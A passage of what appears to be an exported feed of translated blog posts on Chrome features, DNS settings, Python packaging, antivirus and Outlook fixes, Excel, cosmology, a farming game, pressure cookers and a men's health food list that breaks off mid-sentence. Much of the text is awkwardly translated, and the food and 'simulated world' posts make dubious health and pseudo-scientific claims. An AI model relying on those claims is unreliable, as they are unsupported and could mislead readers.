to the performance benefits of occlusion. These data are collected and aggregated by Google.\nIn fact, compared to other browsers, Google Chrome has always had the advantage in terms of speed. By enabling occlusion, Google can further enhance the performance of their browser.\n  For several years now, Chrome has been reducing resource usage by reducing the priority of background tabs and minimized Chrome windows. What Google doesn't do, however, is reduce the priority of tabs that are active in Chrome windows in the background but not minimized. With the new occlusion feature, Chrome was able to reduce the priority of tabs hidden behind other Windows programs.\nHere are the data that Google statistics after a few months of implementing occlusion:\nBoot up from 8.5% to 25.8% faster. Reduce GPU memory usage by 3.1%. The total number of renderer frames is 20.4% less. 4.5% reduction in the number of clients experiencing renderer issues. 3.0% improvement in first time input lag 6.7% improvement in first-time contentful paint rendering and greatest contentful paint. Contentful paint is the biggest piece of content on a web page. For Google, it's very important to constantly find innovative ways to improve Chrome's performance. According to StatCounter, Chrome currently accounts for 66.35% of the desktop browser market share. However, if you are too complacent, Chrome's market share can be reduced quickly before the competition of Microsoft Edge, Mozilla Firefox, Safari .\nWith faster startup and added occlusion, Google has a better chance of retaining Chome users.\nncG1vNJzZmismaXArq3KnmWcp51ktLC7xqWcZpuclrauv4ytn55lnprEbrvCnKOuq5mku26yxJqrrqqVYrqit8SsZJygoqS6pnnOp2SwoZ6ZvLi%2FjGtscWWWlsC1sdE%3D\n","link":"/post/google-claims-the-new-occlusion-feature-makes-chrome-on-windows-25-8-faster/","section":"post","tags":null,"title":"Google claims the new occlusion feature makes Chrome on Windows 25.8% faster"},{"body":"Domain Name System is abbreviated as DNS, this is the domain name resolution system. DNS is now applied to access blocked websites like Facebook. There are many DNS users to change such as DNS VNPT, DNS OpenDNS .\nOne of the most popular DNS is Google DNS, which is a DNS that will help users access it more quickly and reliably. We have had to change DNS on computers and here is how to change DNS on iPhone and Android.\nHow to use the ipconfig command How to find the available IP address How to configure a static IP address on Linux How to change DNS on iPhone Step 1: First go into the Wifi menu, click on the advanced icon (the letter i) of the Wifi you are connected to. Next, scroll down and select Configure DNS .\nStep 2: In the menu Configure DNS , select the Manual section, below, click Add server. Next, fill in 8.8.8.8 and 8.8.4. 4 and press Save as is.\nChange DNS on Android Step 1: Go into your Wifi menu, select the gear icon advanced at the connected Wifi and select the edit icon (pen image) in the upper right corner.\nStep 2: In the Wifi password menu, select Advanced options, advanced menu appears, select IP settings\u0026gt; Static .\nIn the static IP settings menu, enter the IP address, network prefix length and DNS number as shown in the figure below with 8.8.8.8 at DNS 1 and 8.8.4.4 at DNS 2, then click Save.\n  Besides Google DNS service, you can try DNS of VNPT, FPT, Viettel, Singapore and some other DNS services. Refer to the article List of good, fastest DNS of Google, VNPT, FPT, Viettel, Singapore.\nUse VPN app Another way you can access blocked websites is by using a VPN app. How to use VPN to access the blocked websites is very simple, you can follow the instructions in the video below.\nLink to download VPN - Super Unlimited Proxy\nKiwi VPN download link for Android\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuYlruosYydpaxln6N6qrzHqKWeZZGjsbO7yJ1kqaCfo7K0\n","link":"/post/how-to-change-dns-on-iphone-android-phones/","section":"post","tags":null,"title":"How to change DNS on iPhone, Android phones"},{"body":" Python is a very popular language for programming. But what if the person running your program does not want or know how to run a Python script? This article will teach you how to compile a Python script into an executable. Download...\nMethod 1of 2:\nUsing CX_Freeze  Download cx_Freeze from Sourceforge. It's a tool for packaging Python scripts into standalone executables.\n  Make sure you are working on the platform you need your executable to run on. For example, if you want to create a Windows executable file, run cx_Freeze on Windows. Same goes for Mac and Linux.\n  Create a new Python file named setup.py in the directory of the Python program you wish to compile.\n  Enter the following code into your new setup.py file. (As always in Python, correct indentation is important, and unfortunately is not shown here due to formatting difficulties.): import sys from cx_Freeze import setup, Executable base = None if sys.platform == 'win32': base = 'Win32GUI' executables = [ Executable(Python program name, base=base) ] setup(name=executable_name, version='version', description='desc', executables=executables )    Run the following commands in your computer's terminal:  cd [path to your Python file's directory] python setup.py build    Look for a new folder called \"build\" in the Python program's directory. It should have been created during the previous step. Open that folder and the folder inside it. There's your executable! The other files in that directory are required to run your executable, so be sure to always keep them with the executable. The build can be customized in many ways. See cx-freeze.readthedocs.org for a description of all possible options.   Jessica Tanner Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpufor2quMRmp7KsmKS7br%2FCq6CprA%3D%3D\n","link":"/post/how-to-compile-python-script/","section":"post","tags":null,"title":"How to Compile Python Script"},{"body":"No one can guarantee that your computer is not attacked by viruses, especially when we often download data online, or connect to external storage devices such as USB. And anti-virus programs on your computer are necessary to protect the system. Among them is the famous security vendor Kaspersky, along with professional products like Kaspersky Virus Removal Tool.\nIn addition to being able to block viruses that attack computers, the software can also handle situations where computers are infected with viruses and other antivirus software. It will detect problems on the computer and remove all infections. Even if the computer is infected with the virus, Kaspersky Virus Removal Tool can still work properly, even in Safe Mode, then proceed to remove viruses, trojans, rootkits, adware or spyware.\nThe following article of the Network Administrator will guide you how to use Kaspersky Virus Removal Tool, remove malicious programs, adware from your computer.\nHow to use Kaspersky Virus Removal Tool Download Kaspersky Virus Removal Tool Step 1: We download the software according to the link above, then click the program's .exe file. The first interface will inform the program terms of use, click Accept to agree.\n  Step 2: After that, the software installation process on the system will be conducted. This process takes very few steps.\n  Soon the main interface appears. First, click Change parameters to set the scan area.\n  Step 3: The Objects to scan interface appears with various scan options. We can select items that need to be checked, but it is recommended to select all 4 items in the interface including System memory, Startup objects, Boot sectors and System drive.\nAlso when clicking Add objects . you can select the folder you want to check.\n  We click on the folder we want to check with Kaspersky Virus Removal Tool. Finally click OK to set the selected folder in the list.\n  After that, users click on Start scan item to scan the system.\n  Step 4: In the scanning interface we will see the scan execution time and the total number of objects conducted. If a computer is found to have problems and dangerous objects, users will receive a notification immediately. It will not be No threats found.\n  Step 5: When the scan is complete, you will receive a report of the software. When no threat is detected you will receive a No threat found message as shown below. Click on Report to see the report details.\n  Step 6: In case the computer sticks to a virus and detects malicious software, we will get the interface as below. Click on Neutralize all in the interface, then click Continue at the bottom.\n  Step 7: For a computer system that is heavily infected, click Disinfect and restart the computer to bring the computer into an advanced boot state.\n  Immediately after that the software will conduct a check of the suspicious files.Note , with this running process you should not perform other tasks on your computer such as text editing. Save the work you are doing and then proceed with the scan.\nThis process the user will not be able to click Stop Scan. After the scan is completed and the data is checked again, the tool will also notify the result to the user.\n  So with Kaspersky Virus Removal Tool, the computer system will quickly detect dangerous files and programs. After that, the software will continue to test again with those dangerous files. This will make the system more secure. However, to be more secure for computers we should still use other antivirus software, combined with Kaspersky Virus Removal Tool to achieve the highest security performance.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyVobK1sYymmKWhk568tr%2BMqamon6KWurR51Kygp59doK60vMSrqqSxXau2s8HSZqmepZ%2Brrq1506impQ%3D%3D\n","link":"/post/how-to-delete-malicious-programs-using-kaspersky-virus-removal-tool/","section":"post","tags":null,"title":"How to delete malicious programs using Kaspersky Virus Removal Tool"},{"body":"If you're using the desktop version of Outlook, you'll most likely receive the Sending and receiving reported error '0x80004005': The operation failed \u0026nbsp;when trying to send or receive a new email.\nError 0x80004005 in Outlook Error 0x80004005 is a common problem in Outlook, whether you are using an email client application from Microsoft 365, Office 2019, Office 2016 or earlier versions and may be due to a number of reasons, including by the program. Third-party antivirus blocks scripts, malicious attacks, missing or corrupted keys in the Registry or problems with Outlook profiles.\nWhatever the reason, if you are having this problem, the best solution is to create and switch to a new Outlook profile.\nIn this guide, you will learn the steps to fix error 0x80004005 with the message The operation failed in the desktop version of Outlook for Windows 10.\nHow to fix error 0x80004005 in Outlook To fix error 0x80004005 when sending and receiving email in Microsoft Outlook, follow these steps:\n1. Open Control Panel.\n2. Click User Accounts.\n3. Click Mail (Microsoft Outlook) .\nClick on Mail (Microsoft Outlook) 4. Click the Show profiles button .\n5. Click the Add button .\nClick the Add button Quick tip : You don't need to delete your old profile, as you may need it to restore information in the future.\n6. Confirm the new name for the profile to fix Sending and receiving reported error '0x80004005': The operation failed .\n7. Click the OK button .\n8. Select the Manual setup or additional server types option .\n9. Click the Next button .\n10. Select the Office 365 option (if available).\nSelect Office 365 options Note: Selecting this option and the next steps will depend on the service you use.\n11. Confirm your email address.\n12. Click the Next button .\n13. Continue with the instructions on the screen (if applicable).\n14. Click the Finish button .\n15. In the Always use this profile section , select the newly created profile.\nIn the Always use this profile section, select the newly created profile 16. Click the Apply button .\n17. Click the OK button .\nWhen you complete the steps, you will start with the new profile and no longer see the error 0x80004005 when trying to receive email from an online service.\nIn the unlikely event that the problem persists and you are using a third-party antivirus program, such as Norton Antivirus, you can also try disabling script blocking from application installation. Or if you're running Windows 10, you can remove that antivirus and return to use Microsoft Defender Antivirus to see if that fixes the problem.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXqmvtGoqWabn5mybnzXcWdpaGRlfXZ5yKdkqK2kobywtw%3D%3D\n","link":"/post/how-to-fix-error-code-0x80004005-in-outlook/","section":"post","tags":null,"title":"How to fix error code 0x80004005 in Outlook"},{"body":"On the Google Chrome browser, the Tab feature is canceled (the Discarded tabs), when a tab is not open for a long time, the browser Chrome deletes the tab's content from memory to save RAM. And when the user reopens that tab, the content will be reloaded from the site's server. However, for computers with weak Internet connections, it is not necessary to automatically reload tabs on the browser. In the article below, we will show you how to disable the automatic reload tab feature on Chrome.\n1. Turn off the auto-reload of Chrome tab feature: Step 1: First, enter the chrome: // flags link in the Chrome browser address bar and then press Enter to access.\n  Step 2: Switch to this new interface, find the Automatic tab Cancellation section and switch from Default to Disable .\n  Finally, click Run again now for the change to take effect. Thus, Chrome browser will not reload the tab itself when it is not opened for a long time.\n  Note, you cannot recognize a tab that has been canceled in the main interface, only when you click open and the tab is reloaded, will you know if the tab is canceled.\n2. Cancel the tab manually: In case you want to use this tab cancellation feature but don't want to disable Chrome completely, we can manually delete it.\nStep 1: First enter the link chrome: // discards into the access bar on Chrome and press Enter.\n  Step 2: In this new interface, we will tick the Discard button at the website you want to delete, or click Discard tab now to delete all.\n  The feature to manually reload this tab is not suitable for the case of a slow network connection, but with a machine with low RAM, weak configuration is useful. When you turn off or reopen a tab in the browser, it will take a lot of space, thus affecting Chrome's access speed and performance. If your computer is in low life, you should use this self-destruct tab feature on Chrome.\nRefer to the following articles: To speed up Chrome browser, apply these tricks 6 effective tricks to conquer Chrome Android Fix errors not typing Vietnamese on Chrome ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuu8WfZJqtpKS%2FprjOmpuippdiwaKu0mamp2WXpLyouMRmmqGqn6Ky\n","link":"/post/how-to-turn-off-auto-reloading-tabs-on-google-chrome/","section":"post","tags":null,"title":"How to turn off auto-reloading tabs on Google Chrome"},{"body":"1. Excel Index function as an array The Index function is an array when the first argument of the function is an array constant.With this function, we have the following formula:\nINDEX (Array, Row_num, [Column_num])\nInside:\n+ Array: a range of cells or some required array of arrays.\n+ Row_num: select rows in the array from which to return a value.\n+ Column_num: select the column in the array from which to return a value.\nNote readers must have at least one of the two arguments Row_num and Column_num\nIn the following example, we have the item name and the unit price of each item, find the unit price of the item knowing it's in row 2 column 2\n  Step 1:\nIn cell C7, you will enter the formula according to the above syntax, and then we press Enter to perform the Index function\nE9: = INDEX (D5: E7,2,2)\n  \nStep 2:\nSoon we will be returned to the position value E9 corresponding to the ceiling fan unit cost of 235000\n  2. Excel Index function as a reference The Index reference function returns the reference of a cell at the intersection of a specific row and column.We have the reference Index formula as follows:\nINDEX (Reference, Row_num, [Column_num], [Area_num])\nInside:\n+ Reference: required reference region.\n+ Row_num: the row number from which to return a reference, required.\n+ Column_num: the column number from which to return a reference, optional.\n+ Area_num: number of range will return the value in Reference.If Area_num is omitted, the INDEX function uses region 1, optional.\nStep 1:\nAlso with the above Excel data sheet, we enter the formula as below.Then also press Enter.\nClick at cell E9: = INDEX (D5: E7,2,1,1)\n  \nStep 2:\nThe result returned will be the name of the product type 'FAN CEILING'\n  \n=\u0026gt; Thus, there are 2 ways to use the INDEX function as array and reference form. Depending on the requirements of each article, the reader has a suitable way to use. Not too hard, right? In addition, you can combine the INDEX function with the MATCH function to be instructed in the following article of TipsMake\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq1tMRmoKecla16p8HNnKuip55itq95xLGanqQ%3D\n","link":"/post/how-to-use-the-index-function-in-excel/","section":"post","tags":null,"title":"How to use the INDEX function in excel?"},{"body":"  The origin of life is the process by which non-living (inorganic) matter, itself assembles under a number of natural conditions suitable to develop into simple organic compounds. Of course, details of this process remain a mystery and scientists still don't know how exactly they occur, or how often they occur in the universe.\nThe religions of the world also have many different ideas about how life appears, of course, they always believe that all the universe is created by the magic hand of supernatural powers.But those explanations, just colorful myths, make many of us not really satisfied.\n\"How did life appear?\"is one of humanity's most intriguing questions and keeps scientists constantly looking for answers.\nTomonori Totani, a professor of astronomy at the University of Tokyo, was also drawn to these ideas.He wrote an article titled \"The Occurrence of Life in an Expansion Universe\" , published in the Natural Science Report.\n Professor Totani's astronomy lab\nProfessor Totani's research is based on two factors that go hand in hand:\n- The age and size of the Universe, the expansion of the Universe and the rate of events of any Universe.\n- Research on RNA, to find out how long a sequence of nucleotides need to \" expect a self-replicating activity to take place \".\nProfessor Totani's work, like almost all studies of the origin of life, considers the basic components of life on Earth: RNA, also known as ribonucleic acid.DNA is much more complex than RNA, and it carries information about how to form an individual's life.But RNA is still more complex than the chemical combination found on Earth, and because RNA is simpler than DNA, the rate of RNA's self-formation is higher.\nThere is also an evolutionary hypothesis that although DNA carries instructions to create an organism, RNA is the regulator of transcription of DNA sequences. The theory is called ' evolution based on RNA ' and confirms that RNA is the object of natural selection in Darwinism and can also be inherited.\nSo if we have to look between RNA and DNA, to find out which biological component was first created in the early universe, we should choose RNA.\n Images simulating two strands of RNA.\nRNA is a sequence of chemicals called nucleotides. Many studies show that a sequence of nucleotides requires at least 40 to 100 nucleotides before the replication behavior occurs in order for life to survive.\nIt takes quite a long time, when enough nucleotides are assembled, to form a chain to meet that minimum length requirement. And the question is, is there enough time for such life to form in the universe? The universe has existed for more than 13 billion years and we are sitting here, the answer must be yes?\nHowever, according to the published press release of this new paper, \"Current estimates suggest that the number of life-giving beings from 40 to 100 nucleotides is magical, unable to appear in space regions of the universe. we can see. \"\nThe bottom line is, what about the space we can't observe?\n The visible universe is 93 billion light-years in diameter.\n\u0026nbsp;\n\"The universe is actually much larger than the part that can be observed by humans , \" Professor Totani said. \"In contemporary cosmology, the universe has undergone a period of rapid expansion creating an area that is so vast, so large that beyond the horizon of space we can observe it directly. This larger integration into life-starting models significantly increases the chance of generating life. \"\nOur Universe was born in a Big Bang and according to Professor Totani's research, the Universe \"may consist of more than 10 ^ 100 stars like the Sun\" , while the Universe observes are only containing about 10 ^ 22 stars.\nWe all know that life has happened at least once, so there is no problem that it happened again, even if the opportunity is extremely small.\n Finding the Solar System like the Solar System is the key to discovering life.\nAccording to statistics, the amount of matter in the observed universe can only produce RNA 20 nucleotides long, lower than the number 40 to 100. But because of rapid expansion, the majority of the universe is outside the observed area. of mankind. That means: the distance was so far that the light emitted from the Big Bag era did not reach the Earth. When cosmologists add the number of stars in the visible and unobserved universe together, the result is 10 ^ 100 stars like the Sun,\nThat means there is a lot of material in outer space that makes RNA sequences form not only feasible but already possible, or even certain, to happen.\nIn his research, the professor said he studied basic relationships. That: \"Quantify the chemical interactions that originate from the minimum length of RNA needed to make the polymer - the first high-molecular polymer - and the size of the Universe needed to create an RNA sequence. long enough and capable of forming life, based on the addition of monomers - the units that make up the multi molecule \".\nIf you read the above lines but difficult to understand, this is the conclusion of Professor Tomonori Totani:\n\"If in the future we find out that alien life forms come from another origin than we do, it means that there is some unknown mechanism that has more nucleotide nucleotides faster than the random statistical process.\" .\n It only takes more material than life can produce itself.\nThe universe is actually larger than the visible part and is capable of containing up to 10 ^ 100 stars just like the Sun. If the probability of making abiotic RNA on an Earth-like planet is 1, the minimum nucleotide length must be less than 20 nucleotides, much lower than the initial 40-nucleotide minimum.\nBut scientists do not think that RNA can replicate by itself when there are only 20 nucleotides, at least from our point of view when life forms on Earth. As Professor Totani said in his paper, there must be some unknown process appearing in an infinite Universe of possibilities.\nWhat is the mysterious process?\nPerhaps no one knows, but this will be a science gap that religions can shout \"Of course, it is God.\"\nProfessor Totani's work does not really have to be the answer to the way in which life originates. But like so many other scientific studies, it helps create open problems for the next generation to solve as they gain more knowledge.\nLike many of my peers, my motivation is curiosity and big questions, \"Professor Totani said.\n\"Combining two recent investigations of RNA chemistry with the history of cosmology, made me realize that the universe must have many ways to transition from abiotic state to biological state. That's a thought.\" interesting and I hope this research can shed some light on that, helping to discover the origin of life. \"\nncG1vNJzZmismaXArq3KnmWcp51kwKS1xKerop6ZmHqzsdKemKubmGK5qrLEZpqapl2axaq%2F02agp2Wdlru6ec%2BlmJydo2K2r3nToZxmrZ6ew6a%2B0p5koqxdnsBuus6tZKimnK56qrqMrZ%2BeZaKatKq7zWaunmWTlrtuu8GsnKuulQ%3D%3D\n","link":"/post/life-can-exist-in-many-places-in-the-universe-it-is-not-only-in-the-region-we-can-observe/","section":"post","tags":null,"title":"Life can exist in many places in the Universe, it is not only in the region we can observe."},{"body":"Google has just released Chrome 62 with some new features as well as fixed 35 security bugs.\nSome of the coolest new features are the ability to support OpenType conversion fonts, full release of Network Quality Estimator API, the ability to capture and stream DOM elements, and HTTP alerts for Normal and Incognito modes (browse usually and anonymous) in the browser.\nSupport OpenType transform font For most users this is not a big deal, but the most important new feature added on Chrome 62 is the ability to support OpenType transform fonts.\nUntil now, web developers still have to download multiple fonts (font family) when different variants are needed. For example, when using Open Sans fonts on the page and want to change the font a bit like Regular, Bold, Black, Normal, Condensed, Expanded, Highlight, Slab, Heavy, Dashed, you will have to download a new font file.\nOpenType conversion font allows mixing all variations into a file for developers to use for their website and control through CSS. This will help the web to download less files, save bandwidth and reduce page loading time.\nHTTP warning when browsing in normal and incognito mode Already announced since April, since Chrome 62, Google will add a 'Not Secure' mark in certain cases when browsing in Normal and Incognito mode. Which includes 2 major changes.\nThe first is how Chrome bookmarks HTTP in the default browsing mode. So far, Chrome has attached HTTP as 'Not Secure' when there is a form to fill in payment card or password information. This change was added to Chrome in January, in version 56.\nFrom today, Chrome 62 will highlight any HTTP page that is 'Not Secure' when the user enters data into any of the information fields, be it searching or simply entering numbers.\nThe second change is on anonymous browsing mode. Google says that all HTTP pages will be marked as 'Not Secure' from Chrome 62, regardless of whether the form is filled out or not.\n  Compare notification when loading HTTP pages on Chrome versions\nNetwork Quality Estimator \u0026amp; Media Capture from DOM API Two other features will make many developers excited: Network Quality Estimator and Media Capture from DOM API elements.\nAs its name suggests, the first API allows developers to see the network speed parameters, information that some websites use to choose video stream, audio quality or give a low-quality version to the site. me\nThe second API - Media Capture from DOM Elements can be used to record videos about how sections on the page respond to interactive and streamed content via WebRTC. This API is also useful for debugging pages, supporting groups when it comes to user experience.\nIn addition, Chrome also offers many other features on both desktop, iOS and Android versions. Please download Google Chrome 62 here https://www.google.com/chrome/browser/desktop/index.html or update to a new version from the browser.\nncG1vNJzZmismaXArq3KnmWcp51kva2xwKycZpyfrLutu8CdZKCnn5y5pnnCoamopZVig3N5xaipZq%2BZo7Gww9JmpJqbXZa7pXnLoqWusA%3D%3D\n","link":"/post/please-download-google-chrome-62-for-windows-mac-and-linux/","section":"post","tags":null,"title":"Please download Google Chrome 62 for Windows, Mac and Linux"},{"body":"Philosopher Nick Bostrom put forward a Simulation hypothesis that science and engineering a few hundred thousand years later created the present human life, and everything is just a product simulated from a computer, not at all. real.\nThis hypothesis has caused a lot of controversy. However, the photos below (not proven to be a product of Photoshop or not) if they are real, will make many people believe that we are actually living in a simulated world.\nIs the error in the photograph due to the photographer or the \"technique\" in the simulated system?\n  An image that makes many people think they have just entered a parallel world.\n  According to a mathematician's calculations, a 17% chance of this universe is just a kind of simulation.\n  A kind of 'technical error' in a simulated universe?\n  Three men with similar looks from shirts to bald heads are sitting at the same coffee shop.\n  You can look at the photo again to confirm it if you don't believe your eyes.\n  This sculpture is faulty or the image is noisy due to poor transmission quality.\n  Two women dressed the same, with the same hairstyle, even doing the same action. If I say accidentally, no one will believe, but if this is not a Photoshop product, what is it?\n  Was it accidental or 'buggy' that the girl was reading a newspaper with her picture on the cover like that?\n  A person who meets his clone from his face, hair, and clothes because of the 'fault' of the parallel world?\n  Some other images.\u0026nbsp;\n      parallel universe technical error ncG1vNJzZmismaXArq3KnmWcp51kwKa%2ByJ6qZqeWYr2pu9OoqmaclaK8r7%2FTq5itoZ6ceq21xZ5kmqtdlnq0tcyuo5qslZl6uLvRpZs%3D\n","link":"/post/series-of-photos-demonstrating-life-as-a-simulated-world/","section":"post","tags":null,"title":"Series of photos demonstrating life as a simulated world"},{"body":"Story of Seasons' latest game, Doraemon: Story of Seasons, offers the familiar farming experience with the hugely popular anime series. When the player and his friends, from the cartoon series Doraemon, are stranded in an unfamiliar town, needing to find work and a place to stay. Players will take on the role of Noby, perform work and run a farm.\n  Over time, the farm will expand and gamers can raise livestock, decorate and upgrade their buildings and tools. People will also discover more about the town and its surroundings, finding things to collect and meeting new friends.\nThe game has too many interesting things that can make people overwhelmed. Therefore, apply the following simple instructions during the first few days on Doraemon's farm: Story of Seasons.\nTips for playing Doraemon: Story of Seasons Learn the basics By the end of the first hour of the game, most people will begin to grasp the basics as the story walks through each content. A town tour introduces the people and their shops, as well as showing how to navigate around the area and the game menu.\n  Players will also be given a basic farming tutorial, which covers how to plant, water, grow and harvest crops.\nDon't worry if you can't remember everything because just hover over the interactive items and the game will show a prompt which button to press.\nStart building the farm When starting to build your farm, the first priority will be to clear the area and start planting and watering plants. It takes a few days for the plants to grow, but they need daily watering.\n  Once fully grown, the harvested crops can then be sold through crates. This will take some time but there are other ways to make money besides planting trees\nTo start farming, the player will need to buy some seeds. Some townsfolk will help and the player can pick up some free radish seeds from the Knick Knacks general store.\nVisit the stores   The first thing gamers will notice about the shops in town is that they have different opening times. Check out the quick reference guide below to see when each store opens and what it sells.\n Shop Open time Product  Cuckoo House Chickens  9am - 3pm\nSunday, Monday, 3, 5, 7\n Selling chickens, chicken feed and accessories  Gouter Mawk Livestock  9am - pm, 1pm - 4pm\nSunday, Monday, 3, 5, 7\n Sell ​​cows and sheep, food, accessories  Knick Knacks General Store 3pm - 8pm\nSunday, Monday, 3, 4, 6, 7\n Sells seeds, fertilizers, bug nets and other items  Cafe Delish Afternoon - 4pm, 6pm - 10pm\nSunday, Tuesday, 4, 5, 7\n Selling food and cooking utensils  Anvil - Blacksmith  10am - pm, 2pm - 5pm\nTuesday to Saturday\n Selling upgrade tools and ores  Hammer – Carpenter  4pm - 8pm\nSunday, Monday, 4, 5, 6\n Sell ​​furniture, decorations and building upgrades   Tackle Shop 2pm - 4pm Selling bait  Regis's Clinic  10am - pm, 2pm - 5 pm\nMonday, 3, 4, 6, 7\n Selling stamina recovery drugs   Players will only be able to enter the store and interact with its owner during opening hours. Some interactions, such as interactions with livestock, will unlock as they evolve in Doraemon: Story of Seasons.\nncG1vNJzZmismaXArq3KnmWcp51kwaq80madqKpdpbmixcinnmacn6euprnOp2SsrJ%2Bnxm67xWaqnpmjpLu0\n","link":"/post/tips-for-playing-doraemon-story-of-seasons/","section":"post","tags":null,"title":"Tips for playing Doraemon: Story of Seasons"},{"body":"The trend of housewives in recent years is to use electric pressure cookers instead of conventional pressure cookers because they have more integrated gadgets. So which is the best electric pressure cooker on the market today? Let's discover the top 5 best selling pots!\nContent Nagakawa multi-function pressure cooker NAG0202 Multifunction electric pressure cooker Sunhouse SHD1552 Multifunctional pressure cooker Steba DD1 ECO Sunhouse SH1550 multifunctional electric pressure cooker Philips HD2103 electric pressure cooker Nagakawa multi-function pressure cooker NAG0202 At the top of the list of the best electric pressure cookers and should buy the most is the product from Nagakawa brand. Nagakawa pressure cooker has a modern design, high-class stainless steel cover that brings a sleek and luxurious beauty when placed in the kitchen space. Pot with a capacity of up to 6 liters, can cook food for many people at the same time. The instant lid design with Nagakawa pot's insulated handle helps ensure safety for users during cooking.\n  Nagakawa's electronic pressure cookers use optimal heat transfer technology to help transfer heat quickly, the heat source circulates in the pot, maintains the temperature throughout the cooking process, preserving the flavor and nutrients of food. The pot has many different mode options, serving many cooking needs such as: stew, porridge cooking, keeping warm, timer . In addition, the pot also has an accurate safety lock of the exhaust valve when the pressure is high, automatically disconnecting When overheating, ensure absolute safety during use.\nReference price: 699,000 VND\nMultifunction electric pressure cooker Sunhouse SHD1552 Sunhouse Electric Pressure Cooker is a product of Sunhouse Vietnam Group, so all the features and design of the cooker are geared towards bringing convenience in the cooking process for Vietnamese families. If you are wondering what kind of electric pressure cooker is good for your kitchen, this is also a very good choice.\n  The outer shell of the pot is made of high quality stainless steel, preventing rust during use. Heart pot made of aluminum alloy coated with non-stick WHITFORD - USA, safe for user health, convenient cooking, simple hygiene after use. The pot has a capacity of 5 liters, a capacity of 900W for the ability to cook quickly, cook more, serving well the cooking needs for large families.\nThe SHD1552 multi-function electric pressure cooker has many automatic cooking modes including: 5-minute rice cooking, 10-minute boiled chicken, 15-minute meat, 20-minute porridge, 20-minute soup, 30-minute stew . with the system Vietnamese display control, extremely handy.\nReference price: 919,000 VND\nMultifunctional pressure cooker Steba DD1 ECO When asked to buy a good electric pressure cooker, many users will immediately think of German pots that have long been known for their quality and safety. Steba electric pressure cooker is a genuine German product, passed rigorous research, production and testing process, ensuring high quality, durability, and safety for users according to European standards. Au.\n  The pot shell is made of high-grade insulated stainless steel, delicately designed and luxurious, suitable for modern kitchen spaces. The heart of the pot is made of super-thick alloy coated with a non-stick layer to ensure a stable amount of heat during cooking as well as easy to clean.\nSteba electric pressure cooker has a capacity of 5 liters, capacity of 900W with 9 different cooking modes: ribbed stew, bone stew, meat stew, rice cooking, porridge . help users can process many different dishes only with a pot. In addition to the automatic cooking function, the pot is equipped with a timer and keep warm function, more convenient for users as well as saving up to 70% of cooking time.\nReference price: VND 4,090,000\nSunhouse SH1550 multifunctional electric pressure cooker Electric pressure cooker SH1550 with a capacity of 5 liters suitable for families of 4-5 people or more. The pot shell uses ABS material that is heat-resistant, corrosion-resisting and highly oxidized. The heart of the pot is made of alloy for the ability to heat quickly, maintain equal amount of heat to help the main food faster, more evenly, while maintaining the nutritional value. The 2-sided non-stick design is super-smooth, scratch-resistant and helps limit food sticking to the pot wall.\n   The control system of the cooker is designed on the side with selection buttons and temperature control knobs, all using Vietnamese, making it easier to use for the elderly. Sunhouse multi-function electric pressure cooker comes pre-installed with 9 cooking functions such as rice cooking, porridge cooking, soup, bean, steaming, soup, chicken, meat, rib . suitable for many different needs.\nReference price: 729,000 VND\nPhilips HD2103 electric pressure cooker Referring to the brand of electric pressure cooker, it is impossible not to mention the product of Philips brand, a brand that has a history of more than 100 years in the field of household appliances.\n  The Philips electric pressure cooker products come with 14 automatic cooking modes that allow users to comfortably prepare many different dishes in a short time. With a capacity of 5 liters, capacity up to 900W, this pressure cooker is suitable for families with 4-6 members thanks to the ability to cook fast and cook a lot. All dishes need less than 30 minutes to cook and preserve nutrients. The pot can also keep warm for up to 6 hours to keep the meal hot.\nThe pot design is made of stainless steel, a luxurious and shiny silver color. The heart of the pot uses an alloy material coated with a non-stick enamel to help food not sticking to the surface, not burnt and easy to clean. High pressure relief valve automatically discharges pressure when the pressure in the pot exceeds the prescribed level, helping to reduce pressure safety, anti-explosion ., can disassemble hygiene. The cooker has a locking valve that prevents the lid from opening when the pan is still under pressure.\nReference price: 1,599,000 VND\nWith suggestions for choosing the best pressure cooker today, we hope that readers can choose products with features that suit the needs as well as economic conditions. If you need further advice on the price or the warranty of the electric pressure cooker, please contact the hotline immediately for the fastest support: In Hanoi: 024.35.68.69.69 and in Ho Chi Minh City: 028.38.33.33.66\nncG1vNJzZmismaXArq3KnmWcp51kxKm1wqFknqSVmMGztcJmp6udo6jCs7GMnKaoo5WnerS0zq6jnWWSqsZuwMeeZJudo6l6tbvDmrA%3D\n","link":"/post/which-electric-pressure-cooker-should-buy-the-best-today/","section":"post","tags":null,"title":"Which electric pressure cooker should buy the best today?"},{"body":"Many gentlemen do not hesitate to spend a large amount of money, to find for themselves \"medicinal herbs\" to help improve their vitality without knowing that it is very good for physiological problems to be familiar with everyday foods.\nThis article, Quantrimang will help you synthesize some foods to help the men affirm their bravery to always \"keep the fire\" for family happiness.\nFood enhances the male spirit 1. Sea oysters 2. Cauliflower 3. Fish loach 4. Goat meat 5. Chicken eggs 6. Quail eggs 7. Figs 8. Watermelon 9. Chocolate 10. Banana   1. Sea oysters One of the good food for male physiology is oysters, this is the food that the ancients used to give the name 'food of love'.\nSea oysters are highly appreciated for male physiological effectiveness. This is the food given by the ancients to the name \"food of love\".\nEvery day men should eat enough oysters to provide adequate antioxidant minerals (zinc). Zinc is a major part of the body's process, producing DNA to restore cells.\nIn fact, zinc can counteract the cause of prostate cancer. Zinc plays an important part in boosting sperm naturally. Therefore, eating oysters moderately, often will significantly improve sexual life for men.\n  \u0026gt;\u0026gt; See also: The great effects of zinc for men\n2. Cauliflower Broccoli is rich in Vitamin C, Potassium, Beta-carotene and plant mixtures which are not only good at fighting cancer but also a quite effective male physiological enhancer .\nAccording to male experts, people who eat broccoli are twice as likely to reduce bladder cancer than those who don't eat broccoli. In addition, it also reduces hormocycteine, amino acid substances related to cardiovascular disease and stroke. In addition, cauliflower also helps increase endocrine, health and vitality for men .\n  3. Fish loach The fish is very rich in calcium, protein, iron, phosphorus and many other nutritious vitamins. Fish meat lozenges help men improve blood gas, strengthen vitality, kidney supplement, help enhance sperm production . The fish meat is very tasty and nutritious, and it is also easy to process. Therefore, regularly add the menu to the daily menu.\n  4. Goat meat \"Re-goat dot with Sonneral sauce\nEat on a piece of goddess like 